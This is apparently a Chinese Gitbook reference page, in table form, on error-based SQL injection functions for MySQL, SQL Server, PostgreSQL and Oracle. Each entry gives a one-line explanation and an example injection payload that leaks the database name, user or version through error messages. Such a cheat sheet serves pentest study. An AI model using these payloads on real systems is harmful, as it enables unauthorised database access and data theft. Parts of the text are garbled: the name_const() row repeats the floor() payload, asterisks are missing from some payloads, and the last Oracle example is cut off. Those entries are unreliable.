SQL 报错注入函数有哪些

MySQL

函数/方法 利用原理 举例
updatexml() 修改 XML 文档,不合法的 XPath 路径会报错并显示内容 ... AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1)
extractvalue() 从 XML 字符串提取值,不合法的 XPath 路径会报错并显示内容 ... AND extractvalue(1, concat(0x7e, (SELECT user())))
floor() 结合 GROUP BY 和 rand(),制造重复键错误,将数据作为键值显示 ... AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)
name_const() 用于创建一个带名称的匿名列。当在子查询中,我们使用 NAME_CONST() 将查询结果作为列名,并且这个列名在子查询中已经存在时,就会引发一个“重复列名”的错误,并将查询结果显示出来 AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)
exp() 我们可以通过 ~ 按位取反操作,将一个大的负数转换成一个巨大的正数,从而触发溢出 AND (exp(~(SELECT * FROM (SELECT database())x)))

SQL Server

函数/方法 利用原理 举例
convert() / cast() 强制类型转换,将非数字字符串转换为整型会报错并显示字符串内容 ... AND 1=convert(int,(SELECT db_name()))

PostgreSQL

函数/方法 利用原理 举例
cast() 强制类型转换,将字符串转换为不兼容的数据类型时报错 ... AND 1=CAST((SELECT version()) as int)

Oracle

函数/方法 利用原理 举例
utl_inaddr.get_host_address() utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分 ... AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual)))
ctxsys.drithsx.sn() 在执行 ctxsys.drithsx.sn() 函数时,不合法的参数会引发错误并显示内容 ... AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'))
dbms_utility.sqlcode_to_char() 这个函数用于将错误代码转换为字符。它本身不是用来报错的,但可以和其他会报错的函数结合使用 AND 1=TO_NUMBER((SELECT 'a'
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:13:15

results matching ""

    No results matching ""